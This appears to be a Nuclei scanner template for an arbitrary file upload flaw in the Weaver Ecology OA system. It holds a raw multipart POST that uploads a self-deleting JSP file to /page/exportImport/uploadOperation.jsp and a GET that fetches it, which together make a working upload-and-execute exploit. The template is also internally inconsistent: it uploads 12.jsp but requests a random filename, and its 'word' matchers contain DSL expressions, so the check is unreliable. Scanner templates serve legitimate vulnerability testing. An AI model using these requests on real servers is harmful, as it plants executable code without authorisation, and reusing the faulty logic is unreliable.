id: ecology-arbitrary-file-upload info: name: Ecology Arbitrary File Upload author: ritikchaddha severity: medium reference: - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g tags: ecology,upload,fileupload,intrusive requests: - raw: - | POST /page/exportImport/uploadOperation.jsp HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo ------WebKitFormBoundaryFy3iNVBftjP6IOwo Content-Disposition: form-data; name="file"; filename="12.jsp" Content-Type: application/octet-stream <%out.print(364536*876356);new java.io.File(application.getRealPath(request.getServletPath())).delete();%> ------WebKitFormBoundaryFy3iNVBftjP6IOwo-- - | GET /page/exportImport/fileTransfer/{{randstr}}.jsp HTTP/1.1 Host: {{Hostname}} req-condition: true matchers-condition: and matchers: - type: word part: body words: - "status_code_1 == 200" - "contains(body_2, '319463310816') || status_code_2 == 200" condition: and